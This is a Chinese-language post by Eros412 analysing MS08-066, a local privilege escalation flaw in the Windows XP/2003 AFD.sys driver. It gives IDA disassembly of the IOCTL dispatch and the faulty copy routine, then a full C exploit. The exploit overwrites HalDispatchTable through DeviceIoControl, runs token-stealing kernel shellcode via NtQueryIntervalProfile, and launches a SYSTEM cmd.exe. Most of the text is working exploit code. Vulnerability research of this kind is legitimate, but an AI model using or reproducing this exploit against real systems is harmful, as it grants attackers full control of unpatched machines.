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文章作者:Eros412 信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
MS Bulletin : http://www.microsoft.com/technet/security/Bulletin/MS08-066.mspx
**********计算IoControlCode过程**********
.text:00010B9F mov eax, [edx+0Ch] ; edx=CurrentStackLocation .text:00010BA2 push esi .text:00010BA3 mov esi, ecx .text:00010BA5 mov ecx, eax ;ecx=IoControlCode .text:00010BA7 shr ecx, 2 .text:00010BAA and ecx, 3FFh .text:00010BB0 push edi .text:00010BB1 mov edi, _AfdImmediateCallDispatch[ecx*4] ; ecx=0x0F
.data:00011FF8 _AfdImmediateCallDispatch dd 0 ; DATA XREF: AfdDispatchImmediateIrp(x,x)+12 r .data:00011FF8 ; AfdFastIoDeviceControl(x,x,x,x,x,x,x,x,x)+7A r
.data:00012034 off_12034 dd offset AfdGetRemoteAddress(x,x,x,x,x,x,x,x) .data:00012034 ; DATA XREF: .data:0001213C o
//0x12034-0x11FF8= 0x3C,所以ecx=(0x3C/4)=0x0F
PAGEAFD:0001AE64 cmp _AfdIoctlTable[esi], edi ; PAGEAFD:0001AE6A jnz loc_20510 PAGEAFD:0001AE6A PAGEAFD:0001AE70 mov [edx+1], al PAGEAFD:0001AE73 mov esi, _AfdIrpCallDispatch[esi]
//我们从_AfdIoctlTable寻找一个运算后==0x0F的值
kd>dd _AfdIoctlTable f81c3108 00012003 00012007 0001200b 0001200c f81c3118 00012010 00012017 0001201b 0001201f f81c3128 00012023 00012024 0001202b 0001202f f81c3138 00012033 00012037 0001203b 0001203f f81c3148 00012043 00012047 0001204b 0001204f
//答案是0001203f
***********************************************
*****************溢出过程**********************
PAGE:000171B5 cmp [ebp+OutputBufferLength], eax PAGE:000171B8 jnb short loc_171C3 PAGE:000171B8 PAGE:000171BA mov [ebp+var_24], 80000005h PAGE:000171C1 jmp short loc_171C9---------------------------------------------〉big problem!!! PAGE:000171C1 PAGE:000171C3 ; --------------------------------------------------------------------------- PAGE:000171C3 PAGE:000171C3 loc_171C3: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+50 j PAGE:000171C3 mov [ebp+OutputBufferLength], eax PAGE:000171C6 mov [ebp+var_24], esi PAGE:000171C6 PAGE:000171C9 PAGE:000171C9 loc_171C9: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+59 j PAGE:000171C9 mov [ebp+ms_exc.disabled], esi
PAGE:000171E0 movzx ecx, word ptr [ebx+5Ah] ; PAGE:000171E4 movzx esi, word ptr [ebx+58h] ; PAGE:000171E8 add esi, [ebp+ebx_70h] ; PAGE:000171EB mov edi, [ebp+OutputBuffer]-----------------------〉控制的OutputBuffer地址 PAGE:000171EE mov eax, ecx PAGE:000171F0 shr ecx, 2 PAGE:000171F3 rep movsd--------------------------〉其实就是把sockaddr_in的内容拷贝,其中OutputBuffer地址里的内容被修改成 sockaddr_in.in_addr.s_addr,而这里的sockaddr_in就是accept()的socket里的 [HalDispatchTable]==sin_port [HalDispatchTable=0x02]==AF_INET [HalDispatchTable+0x04]==sockaddr_in.in_addr.s_addr
kd>dd HalDispatchTable 80538ab8 88880002 0100007f cccccccc cccccccc
PAGE:000171F5 mov ecx, eax ; PAGE:000171F7 and ecx, 3 ; PAGE:000171FA rep movsb
***********************************************
代码:
#include <Winsock2.h> #include <stdio.h> #include <windows.h> char ShellCode[]="\x90\x90\x90\x90\x90\x90\xB8\x24\xF1\xDF" "\xFF\x8B\x00\x8B\xB0\x20\x02\x00\x00\x8B" "\xC6\x8B\x80\x88\x00\x00\x00\x2D\x88\x00" "\x00\x00\x8B\x90\x84\x00\x00\x00\x83\xFA" "\x04\x75\xEA\x8B\x80\xC8\x00\x00\x00\x89" "\x86\xC8\x00\x00\x00\xC2\x08\x00";
typedef struct _THREAD_PARAMS { HANDLE hInitEvent; HANDLE hReadyEvent; } THREAD_PARAMS, *PTHREAD_PARAMS;
typedef DWORD (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );
typedef DWORD (WINAPI *PNTQUERYINTERVAL)( ULONG ProfileSource,PULONG Interval );
#pragma comment (lib, "ws2_32.lib")
VOID WINAPI FooServer(LPVOID pParam) { PTHREAD_PARAMS lParams = (PTHREAD_PARAMS)pParam; SOCKET tcp_socket; SOCKET local_client; sockaddr_in localonly; sockaddr_in remote; int remoteLen = sizeof(remote); localonly.sin_family=AF_INET; localonly.sin_addr.s_addr = inet_addr("127.0.0.1"); localonly.sin_port=htons(0x8888); tcp_socket= socket( AF_INET,SOCK_STREAM, 0 ); bind(tcp_socket,(sockaddr*)&localonly,sizeof(localonly)); SetEvent(lParams->hInitEvent); listen(tcp_socket,2); local_client = accept(tcp_socket,(struct sockaddr*)&remote,&remoteLen); printf("\n\t-> Incoming connection: %s\n\n",inet_ntoa(remote.sin_addr)); WaitForSingleObject( lParams->hReadyEvent, -1 ); closesocket(local_client); closesocket(tcp_socket); return; }
int main () {
printf("===================================================================== \n"); printf("\t\tMS08-066 AFD.sys Local Privilege Escalation Exploit (POC) \n"); printf("\t\t Coded and Modified by :Eros412 \n"); printf("\t\t Special Thanks to : Ruben Santamarta \n"); printf("===================================================================== \n");
ULONG result; int status; PROCESS_INFORMATION pi; STARTUPINFOA stStartup; DWORD HookAddress = 0x80538ab8; //HalDispatchTable address,修改KeQueryIntervalProfile的call function 的地址 //8062cdc2 ff15bc8a5380 call dword ptr [nt!HalDispatchTable+0x4 (80538abc)] PVOID ShellCodeMemory = (PVOID)0x01000000 ; DWORD MemorySize = 0x1000; PNTALLOCATE NtAllocateVirtualMemory; PNTQUERYINTERVAL NtQueryIntervalProfile; THREAD_PARAMS lParams = {0}; char inBuff[0x40]; char outBuff[0x40]; DWORD junk ; SOCKET tcp_socket; struct sockaddr_in peer; WSADATA ws; WSAStartup(0x0202,&ws); NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle( "ntdll.dll"), "NtAllocateVirtualMemory");
NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
status = NtAllocateVirtualMemory( (HANDLE)-1, &ShellCodeMemory, 0, &MemorySize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
memset( ShellCodeMemory, 0x90, MemorySize ); memcpy((void*)((BYTE*)ShellCodeMemory + 0x100),ShellCode,80); //"127.0.0.1" 在内存里==0x0100007F,所以shellcode放在后面(0x01000100)就没问题了 lParams.hInitEvent = CreateEvent(0, FALSE, FALSE, 0); lParams.hReadyEvent = CreateEvent(0, FALSE, FALSE, 0); memset(inBuff,0x90,sizeof(inBuff)); memset(outBuff,0x90,sizeof(outBuff)); CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)FooServer, (LPVOID)&lParams, 0, NULL);
peer.sin_family = AF_INET; peer.sin_port = htons( 0x8888 ); peer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); tcp_socket = socket(AF_INET, SOCK_STREAM, 0); WaitForSingleObject(lParams.hInitEvent, -1); connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)); DeviceIoControl((HANDLE)tcp_socket, 0x1203f, (LPVOID)inBuff,sizeof(inBuff), (LPVOID)HookAddress,0, &junk, NULL); NtQueryIntervalProfile(3,&result); SetEvent(lParams.hReadyEvent); GetStartupInfo( &stStartup ); CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, NULL, NULL, NULL, &stStartup, &pi );
return 0; }
Reference:
http://www.milw0rm.com/exploits/6757 - MS Windows XP/2003 AFD.sys Privilege Escalation Exploit (K-plugin) by Ruben Santamarta http://www.whitecell.org/list.php?id=60 - Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(ms08066) by Polymorphours http://blogs.technet.com/swi/arc ... user-mode-data.aspx
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